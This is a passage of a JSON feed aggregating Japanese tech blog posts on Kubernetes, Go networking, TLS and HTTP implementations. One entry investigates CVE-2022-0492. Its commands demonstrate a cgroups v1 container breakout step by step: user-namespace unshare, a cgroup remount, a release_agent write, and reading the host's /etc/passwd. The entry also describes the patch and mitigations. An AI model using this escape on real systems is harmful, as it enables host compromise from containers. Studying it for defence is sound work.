Tsukada","authorId":"atsuya0"},{"title":"golangでHTTP3を試してみる","contentSnippet":"はじめについ先日、HTTP3がRFC9114として正式に発表されました。https://blog.cloudflare.com/cloudflare-view-http3-usage/RFC読むよりとりあえずパケット見る派なので、とりあえずコード書いて動かしてキャプチャしたいところです。quic-goは http3 ディレクトリがあり、対応してそうなのでサンプルコードを書いてみました。数日前にcommitが入っていて開発も活発そうですね。サンプルのサーバ側コードを試す時はお手数ですが、opensslやmkcertコマンドなどでご自分で公開鍵&秘密鍵を生成してくださ...","link":"https://zenn.dev/satoken/articles/golang-hajimete-http3","isoDate":"2022-06-14T00:42:51.000Z","dateMiliSeconds":1655167371000,"authorName":"satoken","authorId":"satoken"},{"title":"istio-proxyがどのように通信を仲介しているかを知る","contentSnippet":"目的前回、書いた記事で素のKubernetesのネットワークについて少し理解できたのですが、Istioを入れた場合はEnvoyが通信を仲介するのでその仕組みを知りたく調べてみましたhttps://zenn.dev/tayusa/articles/c705cd65b6ee74 環境OS: Arch Linux(5.17.9-arch1-1)k8sの環境: kindhttps://kind.sigs.k8s.io/version 0.14.0デフォルトのk8sのバージョンは1.24 クラスタのセットアップ kindでクラスタ作成https:...","link":"https://zenn.dev/tayusa/articles/aa54bbff3d0d2d","isoDate":"2022-06-03T18:42:53.000Z","dateMiliSeconds":1654281773000,"authorName":"Atsuya Tsukada","authorId":"atsuya0"},{"title":"asdf のバージョン アップがうまくいかなかった","contentSnippet":"最近、転職により業務環境が Windows から Mac に変わったことで、ツール類のバージョン管理として asdf を使用しはじめました。asdf 自体のバージョンアップがうまくいかない事象に直面したため、解決方法をメモしておきます。 サマリHomebrew により asdf をバージョンアップしたら、asdf でインストールしたツールが使用できなくなりました。shim ディレクトリ内のスクリプトに記述された asdf のパスが古いバージョンとなっていたことが原因でした。shim ディレクトリを別のディレクトリに移動後、asdf reshim を実行することで shim デ...","link":"https://zenn.dev/kyohei_saito/articles/40a13800f34d5f","isoDate":"2022-05-29T09:36:54.000Z","dateMiliSeconds":1653817014000,"authorName":"Kyohei Saito","authorId":"kiyos"},{"title":"KubernetesのServiceの挙動を確認する","contentSnippet":"目的普段、Kubernetesを触ってはいるのですが、表面的な使い方しか知らないので動きを確認してみます 環境OS: Arch Linux(5.17.9-arch1-1)k8sの環境: kindhttps://kind.sigs.k8s.io/version 0.14.0デフォルトのk8sのバージョンは1.24 ひとまず、ローカルでクラスタを立てる環境に応じてkindをインストールhttps://kind.sigs.k8s.io/docs/user/quick-start/#installationクラスタの作成$ kind ...","link":"https://zenn.dev/tayusa/articles/c705cd65b6ee74","isoDate":"2022-05-28T12:19:47.000Z","dateMiliSeconds":1653740387000,"authorName":"Atsuya Tsukada","authorId":"atsuya0"},{"title":"DenoとTypeScriptで自作CLIツールのghfを移植してみた(動機編)","contentSnippet":"以前、ghコマンドを曖昧検索で便利にするghfコマンドを作りました。GitHub CLI(gh)に曖昧検索の力を加えるghfコマンドを作ってzshプラグイン化した","link":"https://blog.atusy.net/2022/05/27/deno-ghf/","isoDate":"2022-05-27T00:00:00.000Z","dateMiliSeconds":1653609600000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"Kueueアーキテクチャ/Kueue Architecture","contentSnippet":"参考リンク一覧:\\rコードリーディングメモ: https://zenn.dev/bells17/scraps/16625963e51d23 \\r動作確認用manifests: https://github.com/bells17/tmp/tree/main/kueue-example \\rリポジトリ: https://github.com/kubernetes-sigs/kueue/tree/v0.1.0\\rDesign Docs(controller): https://bit.ly/kueue-controller-design \\rDesign Docs(API): https://bit.ly/kueue-apis \\rOld Proposal: https://bit.ly/k8s-job-management \\r\\r---\\r\\rhttps://youtu.be/CFUfw3cMNI8?t=724\\rにてこのスライドを使ったKueueの解説セッションを行いましたので動画で見たい方はこちらでどうぞ","link":"https://speakerdeck.com/bells17/kueue-architecture","isoDate":"2022-05-24T04:00:00.000Z","dateMiliSeconds":1653364800000,"authorName":"bells17","authorId":"bells17"},{"title":"Goで立てたWebサーバーでソケットを学ぶ","contentSnippet":"目的TCPなどにまるで明るくないので、学習のために調べてみました 環境Arch Linux(5.17.9-arch1-1)go version go1.18.3 linux/amd64 やることGoで書いたWebサーバーを動かして挙動を確認したり、少しコードを見てみますコードは以下ですpackage mainimport (\\t\\"fmt\\"\\t\\"log\\"\\t\\"net/http\\"\\t\\"time\\")func main() {\\thttp.HandleFunc(\\"/\\", func(w http.ResponseWriter, r *http.Request)...","link":"https://zenn.dev/tayusa/articles/077d911b357a92","isoDate":"2022-05-22T12:32:11.000Z","dateMiliSeconds":1653222731000,"authorName":"Atsuya Tsukada","authorId":"atsuya0"},{"title":"golangで作るHTTP2プロトコル","contentSnippet":"はじめに前回まででTLS1.3+HTTPのプロトコルスタックの自作に成功しました。自作したのはHTTP1.1です。皆さんご存知のように新しいVersionのHTTP2が普及されています。今回はHTTP2プロトコルスタックを自作してみようと思います。今回の方針です。net/http2 は使わない自作したコードでリクエストをnginxに送りhtmlが返ってくればヨシ!HTTP2でGETを送るgoのコードの処理を自作したということなので、HTTP2自体を全部作ってるわけではなく一部になります、ご承知おきください\uD83D\uDE47‍♂️\uD83D\uDE47‍♂️\uD83D\uDE47‍♂️またHTTP2自体の解説より実装中...","link":"https://zenn.dev/satoken/articles/golang-http2","isoDate":"2022-05-16T12:00:30.000Z","dateMiliSeconds":1652702430000,"authorName":"satoken","authorId":"satoken"},{"title":"golangで作るTLS1.3プロトコル","contentSnippet":"はじめに前回までの記事でTLS1.2プロトコルスタックを自作してみました。ただ皆さんご存知の通り、TLS1.2の脆弱性の対策やQUICなど新しいプロトコルへの対応を考慮して設計したTLS1.3が2018年にリリースされ普及が進んでいます。使用率ではまだTLS1.2が一般的ですが今後は1.3へと置き換えが進んでいくと、どこかの時点で逆転するのでしょう。そのときに慌てて学ぶよりも、今1.3も実装して学ぶことにします\uD83D\uDE0Aまぁ1.2作れたしイケるでしょう(死亡フラグ\uD83D\uDE07\uD83D\uDE07\uD83D\uDE07)今回の実装方針です。crypto/tls は一切使わずTLS1.3のフルハンドシェイクをオレオレで実装する...","link":"https://zenn.dev/satoken/articles/golang-tls1_3","isoDate":"2022-05-06T13:25:32.000Z","dateMiliSeconds":1651843532000,"authorName":"satoken","authorId":"satoken"},{"title":"Neovimのカラースキームを編集中のバッファのファイルパスに応じて変える","contentSnippet":"Vim/NeovimでLSPを利用して関数などの定義を参照すると、気付いたら標準ライブラリなどを参照している、なんて場面があります。どこまで実装を追いたいかは人それぞれとは言え、作業ディレクトリの内外どちらのファイルを参照しているかはすぐに気付ける方がいいでしょう。","link":"https://blog.atusy.net/2022/04/28/vim-colorscheme-by-buffer/","isoDate":"2022-04-28T00:00:00.000Z","dateMiliSeconds":1651104000000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"Kueue入門/Kueue Introduction","contentSnippet":"#k8sjp 第50回のLT資料です\\rhttps://k8sjp.connpass.com/event/244591/","link":"https://speakerdeck.com/bells17/kueue-introduction","isoDate":"2022-04-27T04:00:00.000Z","dateMiliSeconds":1651032000000,"authorName":"bells17","authorId":"bells17"},{"title":"ProtocolBuffers/gRPCを安全に書き進めるためのエトセトラ","contentSnippet":"OWASP Fukuoka Meeting #6 \\rhttps://owasp-kyushu.connpass.com/event/244388/ \\r#owaspfukuoka","link":"https://speakerdeck.com/nwiizo/protocol-buffers-grpc-wo-an-quan-nishu-kijin-merutamefalseetosetora","isoDate":"2022-04-27T04:00:00.000Z","dateMiliSeconds":1651032000000,"authorName":"nwiizo","authorId":"nwiizo"},{"title":"golangで作るTLS1.2プロトコル(ECDHE&クライアント認証編)","contentSnippet":"はじめに前回TLS1.2プロトコルスタックを自作してみましたが、実装が及んでない部分がありました。1つは鍵交換がRSAだけになっているのともう1つはクライアント認証に対応していないところです。RSAではその仕組み上セキュリティ的に脆弱な点がありますし、サーバからクライアント認証を求められたら対応できませんので機能追加を行います。まずはECDHE鍵交換の対応から行います。 ECHDE鍵交換前回の記事でも書きましたがRSAでは毎回同じ公開鍵でpremaster secretを暗号化するため、秘密鍵が一旦漏れてしまうとそれまでの通信が全て復号される可能性があります。このRS...","link":"https://zenn.dev/satoken/articles/golang-tls1_2_2","isoDate":"2022-04-22T02:03:50.000Z","dateMiliSeconds":1650593030000,"authorName":"satoken","authorId":"satoken"},{"title":"zennの執筆環境向けdevcontainerを作成した話","contentSnippet":"タイトルまんまでzennの執筆環境向けdevcontainerを作成したという話です前々からzennの記事はGithub repositoryと連携して書いており、codespaceにvscodeから接続して執筆してたのですが、zenn-cliを使ったプレビューが可能らしいということを最近知ったので、devcontainerの勉強がてらサクッとプレビューが可能な環境を作りましたという内容になります作ったdevcontainerのリポジトリはこちらですhttps://github.com/bells17/zenn-template 使い方READMEに書いてある通りですが、te...","link":"https://zenn.dev/bells17/articles/zenn-devcontainer","isoDate":"2022-04-17T15:27:41.000Z","dateMiliSeconds":1650209261000,"authorName":"bells17","authorId":"bells17"},{"title":"golangで作るTLS1.2プロトコル","contentSnippet":"はじめに前回自作でTCPIP+HTTPを実装して動作を確認することができました。しかしご覧頂いた方はおわかりのように、通信はHTTP=平文でやり取りされておりパスワードなど機密情報が用意に見れてしまう状態です。普段我々がブラウザに安心してパスワードを入力しているのは通信がTLSで暗号化されているからです。ではそのTLSの仕組みはどうなっているのでしょう?恥ずかしい限りですが僕はわかりません。\uD83D\uDE07\uD83D\uDE07\uD83D\uDE07ということで以下を読みながらTLSプロトコルを自作してみてその仕組みを学ぶことにします。マスタリングTCP/IP情報セキュリティ編RFC5246プロフェッショナルSSL/T...","link":"https://zenn.dev/satoken/articles/golang-tls1_2","isoDate":"2022-04-16T03:22:38.000Z","dateMiliSeconds":1650079358000,"authorName":"satoken","authorId":"satoken"},{"title":"[2022/04/15] 今週のKubernetes + Cloud Native + その他ニュース","contentSnippet":"普段は#kubenewsの2022年04月15日の回で話す、@bells17が今週気になったニュース記事をまとめたものです。自分が気になった今週のKubernetes + Cloud Native + その他なニュースをまるっとまとめておいて、その中から時間内に話せるものを話そうと思ってます。あと記事はざっと読んで書いてるものが多いので、詳細はリンクとかで貼ってる記事の中を読んでもらった方が正確です。配信URL:https://youtu.be/j76uphcYs2E 告知とかニュースっぽいもの Kubernetes Meetup TokyoでLTする予定ですhttps...","link":"https://zenn.dev/bells17/articles/k8s-cloud-native-and-other-20220415","isoDate":"2022-04-15T12:50:24.000Z","dateMiliSeconds":1650027024000,"authorName":"bells17","authorId":"bells17"},{"title":"吉祥寺.pm29で久しぶりにLTしてきました #kichijojipm","contentSnippet":"kichijojipm.connpass.com久しぶりにLTしてきました。久しぶりに外で発表したいなと思いつつ、だいぶブランクあるのでちょうどいいリハビリできるところがないかな。— masasuzu (@masasuz) 2022年4月9日 こんなこと考えてたら良いタイミングできちぴーが開催されるので、LT申し込んでみました。#kichijojipm 7年ぶりにLTしたので緊張した。というのと、前回の発表調べて7年前もきちぴーあったのかという驚きもあった。— masasuzu (@masasuz) 2022年4月12日 どうやら7年ぶりだったみたいです。タイミング的に最終出社日の翌日だったので、キャリアの話をしました。diary.masasuzu.net正直、LTにおさまる量じゃなかったのは反省点です。資料ももうちょっとなんとかできたかなあという気持ちがあります。少しずつ登壇回数増やして、勘を取り戻していきたいところ。","link":"https://blog.masasuzu.net/entry/2022/04/15/202342","isoDate":"2022-04-15T11:23:42.000Z","dateMiliSeconds":1650021822000,"authorName":"SUZUKI, Masashi","authorId":"masasuzu"},{"title":"2022-04-12 吉祥寺.pm 29","contentSnippet":"","link":"https://speakerdeck.com/masasuzu/2022-04-12-ji-xiang-si-dot-pm-29","isoDate":"2022-04-12T04:00:00.000Z","dateMiliSeconds":1649736000000,"authorName":"SUZUKI, Masashi","authorId":"masasuzu"},{"title":"CVE-2022-0492 調査まとめ","contentSnippet":"cgroups v1 の脆弱性 CVE-2022-0492 について、調査した内容をまとめました。イベントで発表した内容ですが、時間の都合で語りきれなかった部分も多く、内容を加筆してブログに書くことにしました。 speakerdeck.comCVE-2022-0492 概要release_agent についてエクスプロイト前提条件要点検証修正パッチコンテナセキュリティseccompAppArmor (SELinux)Kubernetes の場合EKS, GKE の場合さいごに参考リンクCVE-2022-0492LinuxコンテナセキュリティCVE-2022-0492 概要CVE-2022-0492 は cgroups v1 における特権昇格・コンテナブレイクアウトの脆弱性です。cgroups v1 の release_agent 機能を悪用することで、コンテナからホストの root 権限で任意コマンド実行が可能となります。詳細は後述しますが、これは本来特権コンテナに限定されるべき設定が、capabilities のチェック漏れにより非特権コンテナから行える状態だったことが原因です。本脆弱性は seccomp や AppArmor/SELinux を有効にすることで回避可能です。release_agent についてcgroups v1 は cpu, memory, pids のようにリソースをサブシステムに分割し、各サブシステムがディレクトリ構造を取っています。# ls /sys/fs/cgroup/blkio cpu,cpuacct cpuset freezer memory net_cls net_prio pids systemdcpu cpuacct devices hugetlb misc net_cls,net_prio perf_event rdma unifiedrelease_agent は各 cgroup サブシステムのルートディレクトリに配置されるファイルで、cgroup 内のプロセスが終了する時に起動させるプログラムを設定します。リリースエージェントプログラム の起動の有無は、cgroup ディレクトリ内の notify_on_release の値で判断されます。このファイルはルート以下、各 child cgroup のディレクトリにも配置されています。notify_on_release = 1 の場合、リリースエージェントプログラムを起動します。cgroup のディレクトリ構成pids cgroup のルートディレクトリを見ると、以下のように release_agent, notify_on_release のファイルを確認できます。# ls /sys/fs/cgroup/pids/cgroup.clone_children cgroup.sane_behavior docker notify_on_release system.slice user.slicecgroup.procs default init.scope release_agent tasks# cat /sys/fs/cgroup/pids/release_agent ← 空のファイル# cat /sys/fs/cgroup/pids/notify_on_release 0ちなみにコンテナに CAP_SYS_ADMIN がある場合、release_agent を使えば本脆弱性を利用することなくブレイクアウト可能です。https://blog.trailofbits.com/2019/07/19/understanding-docker-container-escapes/)また cgroups v2 には release_agent がなく、リリースの通知は別の仕組みを使っています。エクスプロイト前提条件本脆弱性は次の条件を全て満たす場合に影響があります。root ユーザーまたは、no_new_privsフラグなしでコンテナを起動しているseccomp, AppArmor/SELinux がいずれも有効でないホストの非特権ユーザー名前空間が有効(ubuntu ではデフォルトの設定です)各設定の確認方法↓# cat /proc/sys/kernel/unprivileged_userns_clone ← 非特権ユーザ名前空間1# cat /proc/self/status | grep Seccomp ← seccompSeccomp: 0Seccomp_filters: 0# cat /proc/self/attr/current ← AppArmordocker-default (enforce)要点コンテナから cgroups の release_agent に書き込みたいrdma サブシステムは root cgroup に所属しているが、readonly でマウントされているcgroup を rw で新たにマウントしたいが、マウントには CAP_SYS_ADMIN が必要unshare で user namespace (ns) を作成すれば CAP_SYS_ADMIN が得られるcgroup, mount ns も同時に作成することで cgroup をマウント可能にrdma cgroup をマウント すると release_agent に書き込み可能cgroup 内のプロセスが終了するタイミングで、任意のプログラムをホストの root 権限で実行検証脆弱な Kernel バージョンで CVE-2022-0492 を検証します。インスタンスに用意した ubuntu 上で、seccomp, AppArmor をオフにした docker コンテナを起動します。# uname -aLinux ip-172-31-1-29 5.13.0-1017-aws #19~20.04.1-Ubuntu SMP Mon Mar 7 12:53:12 UTC 2022 x86_64 x86_64 x86_64 GNU/Linux# docker run --rm -it --security-opt seccomp=unconfined --security-opt apparmor=unconfined ubuntu bashdocker はコンテナ作成時に cgroup ns を作成しないので、コンテナはホストと同じ cgroup ns に所属しています。自身の cgroup を確認すれば root cgroup からのパスがわかるため、コンテナ内から各サブシステムが root cgroup に所属しているかどうか調べることができます。root@ab988587a245:/# cat /proc/self/cgroup13:misc:/12:rdma:/ ← rdma サブシステムは root cgroup11:hugetlb:/docker/2fe60dee4cbe58e3815f096eb1253d21bab225fb764dda97e211820883cf1a6a10:cpuset:/docker/2fe60dee4cbe58e3815f096eb1253d21bab225fb764dda97e211820883cf1a6a9:net_cls,net_prio:/docker/2fe60dee4cbe58e3815f096eb1253d21bab225fb764dda97e211820883cf1a6a8:perf_event:/docker/2fe60dee4cbe58e3815f096eb1253d21bab225fb764dda97e211820883cf1a6a7:blkio:/docker/2fe60dee4cbe58e3815f096eb1253d21bab225fb764dda97e211820883cf1a6a6:devices:/docker/2fe60dee4cbe58e3815f096eb1253d21bab225fb764dda97e211820883cf1a6a5:freezer:/docker/2fe60dee4cbe58e3815f096eb1253d21bab225fb764dda97e211820883cf1a6a4:cpu,cpuacct:/docker/2fe60dee4cbe58e3815f096eb1253d21bab225fb764dda97e211820883cf1a6a3:pids:/docker/2fe60dee4cbe58e3815f096eb1253d21bab225fb764dda97e211820883cf1a6a2:memory:/docker/2fe60dee4cbe58e3815f096eb1253d21bab225fb764dda97e211820883cf1a6a1:name=systemd:/docker/2fe60dee4cbe58e3815f096eb1253d21bab225fb764dda97e211820883cf1a6a0::/system.slice/containerd.serviceこれで rdma サブシステムが root cgroup に所属していることがわかりました。root@ab988587a245:/# mount | grep \'cgroup (ro\'cgroup on /sys/fs/cgroup/systemd type cgroup (ro,nosuid,nodev,noexec,relatime,xattr,name=systemd)cgroup on /sys/fs/cgroup/memory type cgroup (ro,nosuid,nodev,noexec,relatime,memory)cgroup on /sys/fs/cgroup/pids type cgroup (ro,nosuid,nodev,noexec,relatime,pids)cgroup on /sys/fs/cgroup/cpu,cpuacct type cgroup (ro,nosuid,nodev,noexec,relatime,cpu,cpuacct)cgroup on /sys/fs/cgroup/freezer type cgroup (ro,nosuid,nodev,noexec,relatime,freezer)cgroup on /sys/fs/cgroup/devices type cgroup (ro,nosuid,nodev,noexec,relatime,devices)cgroup on /sys/fs/cgroup/blkio type cgroup (ro,nosuid,nodev,noexec,relatime,blkio)cgroup on /sys/fs/cgroup/perf_event type cgroup (ro,nosuid,nodev,noexec,relatime,perf_event)cgroup on /sys/fs/cgroup/net_cls,net_prio type cgroup (ro,nosuid,nodev,noexec,relatime,net_cls,net_prio)cgroup on /sys/fs/cgroup/cpuset type cgroup (ro,nosuid,nodev,noexec,relatime,cpuset)cgroup on /sys/fs/cgroup/hugetlb type cgroup (ro,nosuid,nodev,noexec,relatime,hugetlb)cgroup on /sys/fs/cgroup/rdma type cgroup (ro,nosuid,nodev,noexec,relatime,rdma) ← readonly でマウントされているcgroup on /sys/fs/cgroup/misc type cgroup (ro,nosuid,nodev,noexec,relatime,misc)root@ab988587a245:/# ls -l /sys/fs/cgroup/rdma/total 0-rw-r--r-- 1 root root 0 Mar 15 01:40 cgroup.clone_children-rw-r--r-- 1 root root 0 Mar 15 01:40 cgroup.procs-r--r--r-- 1 root root 0 Mar 15 01:40 cgroup.sane_behavior-rw-r--r-- 1 root root 0 Mar 15 01:40 notify_on_release-rw-r--r-- 1 root root 0 Mar 29 16:01 release_agentdrwxr-xr-x 13 root root 0 Mar 26 21:07 system.slice-rw-r--r-- 1 root root 0 Mar 15 01:40 tasksroot@ab988587a245:/# echo test > /sys/fs/cgroup/rdma/release_agent bash: /sys/fs/cgroup/rdma/release_agent: Read-only file system ← 書き込みエラーというわけで、cgroup を rw でマウントできれば良いことになります。ここで capability を確認すると、コンテナは CAP_SYS_ADMIN を持っておらず、このままでは cgroup をマウントする権限がありません。root@ab988587a245:/# apt update && apt install -y libcap2-binroot@ab988587a245:/# cat /proc/self/status | grep CapEffCapEff: 00000000a80425fbroot@ab988587a245:/# capsh --decode=00000000a80425fb0x00000000a80425fb=cap_chown,cap_dac_override,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_chroot,cap_mknod,cap_audit_write,cap_setfcaproot@ab988587a245:/# mount -t cgroup -o rdma cgroup /mntmount: /mnt: permission denied. ← マウントエラーCAP_SYS_ADMIN を付与するため user ns を作成し新たにプロセスを立ち上げます。さらに mount, cgroup ns を同時に作成することで、コンテナ内でのマウントが可能になります。マウントさえできれば release_agent に書き込むことができます。root@ab988587a245:/# unshare -rmC bash ← user, mount, cgroup ns を作成root@ab988587a245:/# cat /proc/self/status | grep CapEffCapEff: 000001ffffffffffroot@ab988587a245:/# capsh --decode=000001ffffffffff0x000001ffffffffff=cap_chown,cap_dac_override,cap_dac_read_search,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_linux_immutable,cap_net_bind_service,cap_net_broadcast,cap_net_admin,cap_net_raw,cap_ipc_lock,cap_ipc_owner,cap_sys_module,cap_sys_rawio,cap_sys_chroot,cap_sys_ptrace,cap_sys_pacct,cap_sys_admin,cap_sys_boot,cap_sys_nice,cap_sys_resource,cap_sys_time,cap_sys_tty_config,cap_mknod,cap_lease,cap_audit_write,cap_audit_control,cap_setfcap,cap_mac_override,cap_mac_admin,cap_syslog,cap_wake_alarm,cap_block_suspend,cap_audit_read,38,39,40 ← CAP_SYS_ADMIN を持つroot@ab988587a245:/# mount -t cgroup -o rdma cgroup /mnt ← rdma サブシステムをマウントroot@ab988587a245:/# ls /mntcgroup.clone_children cgroup.procs cgroup.sane_behavior notify_on_release release_agent tasksroot@ab988587a245:/# mount | grep \'cgroup (rw\'cgroup on /mnt type cgroup (rw,relatime,rdma)ここまでで、コンテナ内から release_agent に書き込めるようになりました。続いてコンテナ内のルート (/) に、ホストの権限で実行させたいプログラムを配置します。今回は /etc/passwd をコンテナ内に出力するスクリプトを作成しています。release_agent に設定するのはプログラムのパスですが、ホストから見た絶対パスを指定する必要があります。root@ab988587a245:/# host_path=`sed -n \'s/.*\\\\perdir=\\\\([^,]*\\\\).*/\\\\1/p\' /etc/mtab`root@ab988587a245:/# echo $host_path/var/lib/docker/overlay2/20c4102a1a817b0e564734054b876c051732c62f4993ce682508ac7cd7fcb1c6/diff ← upperdir のパスroot@ab988587a245:/# echo \\"$host_path/cmd\\" > /mnt/release_agentroot@ab988587a245:/# echo \'#!/bin/sh\' > /cmdroot@ab988587a245:/# echo \\"cat /etc/passwd > $host_path/output\\" >> /cmdroot@ab988587a245:/# chmod a+x /cmd最後に用意したプログラムを起動するため、cgroup 内のプロセスを空にします。root@ab988587a245:/# mkdir /mnt/xx ← child cgroup を作成root@ab988587a245:/# ls /mnt/xx/cgroup.clone_children cgroup.procs notify_on_release rdma.current rdma.max tasksroot@ab988587a245:/# echo 1 > /mnt/xx/notify_on_releaseroot@ab988587a245:/# sh -c \\"echo \\\\$\\\\$\\" > /mnt/xx/cgroup.procs ← すぐに終了するプロセスを child cgroup に追加root@ab988587a245:/# cat /output ← コンテナ内にホストの /etc/passwd が出力されているroot:x:0:0:root:/root:/bin/bashdaemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologinbin:x:2:2:bin:/bin:/usr/sbin/nologinsys:x:3:3:sys:/dev:/usr/sbin/nologinsync:x:4:65534:sync:/bin:/bin/syncgames:x:5:60:games:/usr/games:/usr/sbin/nologinman:x:6:12:man:/var/cache/man:/usr/sbin/nologinlp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologinmail:x:8:8:mail:/var/mail:/usr/sbin/nologinnews:x:9:9:news:/var/spool/news:/usr/sbin/nologinuucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologinproxy:x:13:13:proxy:/bin:/usr/sbin/nologin...修正パッチhttps://github.com/torvalds/linux/commit/24f6008564183aa120d07c03d9289519c2fe02afhttps://github.com/torvalds/linux/commit/467a726b754f474936980da793b4ff2ec3e382a7 static ssize_t cgroup_release_agent_write(struct kernfs_open_file *of, char *buf, size_t nbytes, loff_t off) { struct cgroup *cgrp;+ struct cgroup_file_ctx *ctx; BUILD_BUG_ON(sizeof(cgrp->root->release_agent_path) < PATH_MAX);+ /*+ * Release agent gets called with all capabilities,+ * require capabilities to set release agent.+ */+ ctx = of->priv;+ if ((ctx->ns->user_ns != &init_user_ns) ||+ !file_ns_capable(of->file, &init_user_ns, CAP_SYS_ADMIN))+ return -EPERM; cgrp = cgroup_kn_lock_live(of->kn, false);修正後は上記検証手順での release_agent への書き込みはできません。これは書き込みプロセスが CAP_SYS_ADMIN は持ちますが、init user ns でないためだと理解しています。init user ns かつ CAP_SYS_ADMIN を同時に満たすのは、非特権コンテナにおいては不可能となりました。(厳密にはプロセスの capability と、対象 cgroup の所有 user ns のチェックを行なっています)# uname -r5.17.0-051700rc7-generic# docker run --rm -it --security-opt seccomp=unconfined --security-opt apparmor=unconfined ubuntu bashroot@a45e44c77da9:/# unshare -rmC bashroot@a45e44c77da9:/# mount -t cgroup -o rdma cgroup /mntroot@a45e44c77da9:/# ls /mntcgroup.clone_children cgroup.procs cgroup.sane_behavior notify_on_release release_agent tasksroot@a45e44c77da9:/# echo test > /mnt/release_agent bash: echo: write error: Operation not permittedただし特権コンテナでは引き続きコンテナブレイクアウトは可能です。SELinux を設定する等の対策は必要です。コンテナセキュリティコンテナセキュリティと本脆弱性の関係について簡単に見ていきます。seccompseccomp はコンテナ内で実行できるシステムコールを制限します。システムコールをブロックするため、ns を作成する段階でエラーとなります。# docker run --rm -it --security-opt apparmor=unconfined ubuntu bashroot@fb3522b81478:/# cat /proc/self/status | grep SeccompSeccomp: 2Seccomp_filters: 1root@fb3522b81478:/# unshare -rmC bashunshare: unshare failed: Operation not permittedAppArmor (SELinux)ファイル操作、プログラム実行、capabilities 等を制限します。# docker run --rm -it --security-opt seccomp=unconfined ubuntu bashroot@46912ffebb2c:/# cat /proc/self/attr/current docker-default (enforce)root@46912ffebb2c:/# unshare -rmC bashunshare: cannot change root filesystem propagation: Permission deniedKubernetes の場合Kubernetes においては、seccomp や AppArmor/SELinux は環境や設定次第では OFF のため影響が出る可能性があります。AppArmor/SELinux は Kubernetes ノードやコンテナランタイムで有効にする必要があります。さらに seccomp は Pod のマニフェストにも設定しなければなりません。また securityContext に適切な設定をすることも重要です。allowPrivilegeEscalation, readOnlyRootFilesystem, capabilities 等でコンテナの機能を制限すれば、今後生まれる脆弱性の予防にもなると考えます。EKS, GKE の場合EKS のノードに使われる Amazon Linux 2 では、rdma のようなコンテナ内に root cgroup がマウントされたサブシステムはないようです。このため cgroup を新規にマウントしても release_agent は見えず、本脆弱性を悪用することはできません。# docker run --rm -it --security-opt seccomp=unconfined --security-opt apparmor=unconfined ubuntu bashroot@287fcd93a54f:/# cat /proc/self/cgroup 11:pids:/docker/287fcd93a54f465d1c8c1307fe198acc8592b0000e0571738a138bf1b1c996b010:devices:/docker/287fcd93a54f465d1c8c1307fe198acc8592b0000e0571738a138bf1b1c996b09:hugetlb:/docker/287fcd93a54f465d1c8c1307fe198acc8592b0000e0571738a138bf1b1c996b08:perf_event:/docker/287fcd93a54f465d1c8c1307fe198acc8592b0000e0571738a138bf1b1c996b07:net_cls,net_prio:/docker/287fcd93a54f465d1c8c1307fe198acc8592b0000e0571738a138bf1b1c996b06:blkio:/docker/287fcd93a54f465d1c8c1307fe198acc8592b0000e0571738a138bf1b1c996b05:memory:/docker/287fcd93a54f465d1c8c1307fe198acc8592b0000e0571738a138bf1b1c996b04:cpu,cpuacct:/docker/287fcd93a54f465d1c8c1307fe198acc8592b0000e0571738a138bf1b1c996b03:freezer:/docker/287fcd93a54f465d1c8c1307fe198acc8592b0000e0571738a138bf1b1c996b02:cpuset:/docker/287fcd93a54f465d1c8c1307fe198acc8592b0000e0571738a138bf1b1c996b01:name=systemd:/docker/287fcd93a54f465d1c8c1307fe198acc8592b0000e0571738a138bf1b1c996b0GKE のノードに使われる COS では、デフォルトで AppArmor が有効になっているようです。(https://cloud.google.com/container-optimized-os/docs/how-to/secure-apparmor)$ k run ubuntu --image ubuntu -- sleep 3600pod/ubuntu created$ k exec -it ubuntu -- bashroot@ubuntu:/# cat /proc/self/attr/current cri-containerd.apparmor.d (enforce)root@ubuntu:/# unshare -rmC bashunshare: cannot change root filesystem propagation: Permission denied以上のことから EKS, GKE では本脆弱性の影響はなさそうです。さいごに本脆弱性の調査を通じて、コンテナを構成する Linux の要素技術やコンテナセキュリティへの理解が深まりました。Linux の技術について包括的に学ぶのは(個人的には)難しいので、このような脆弱性の調査から学ぶアプローチも良いのではと思います。本記事が皆さんの学習の糧になれば幸いです。参考リンクCVE-2022-0492https://unit42.paloaltonetworks.jp/cve-2022-0492-cgroups/https://sysdig.jp/blog/detecting-mitigating-cve-2021-0492-sysdig/https://terenceli.github.io/%E6%8A%80%E6%9C%AF/2022/03/06/cve-2022-0492https://nvd.nist.gov/vuln/detail/CVE-2022-0492Linuxhttps://lwn.net/Articles/679786/https://www.nginx.com/blog/what-are-namespaces-cgroups-how-do-they-work/https://linuxhint.com/install-linux-kernel-ubuntu/https://man7.org/linux/man-pages/man7/cgroups.7.htmlhttps://blog.tiqwab.com/2021/11/13/docker-and-cgroups.htmlhttps://en.wikipedia.org/wiki/Seccomphttps://en.wikipedia.org/wiki/Security-Enhanced_Linuxhttps://manpages.ubuntu.com/manpages/xenial/man5/apparmor.d.5.htmlコンテナセキュリティhttps://container-security.dev/security/breakout-to-host.htmlhttps://speakerdeck.com/mochizuki875/container-dev-securityhttps://speakerdeck.com/mochizuki875/container-seccomp","link":"https://kyohmizu.hatenablog.com/entry/2022/04/06/233150","isoDate":"2022-04-06T14:31:50.000Z","dateMiliSeconds":1649255510000,"authorName":"kyohmizu","authorId":"kyohmizu"},{"title":"[2022/04/01] 今週のKubernetes + Cloud Native + その他ニュース","contentSnippet":"普段は#kubenewsの2022年04月01日の回で話す、@bells17が今週気になったニュース記事をまとめたものです。自分が気になった今週のKubernetes + Cloud Native + その他なニュースをまるっとまとめておいて、その中から時間内に話せるものを話そうと思ってます。あと記事はざっと読んで書いてるものが多いので、詳細はリンクとかで貼ってる記事の中を読んでもらった方が正確です。配信URL:https://youtu.be/qNk58ApYjdg 告知とかニュースっぽいもの Kubernetes Meetup 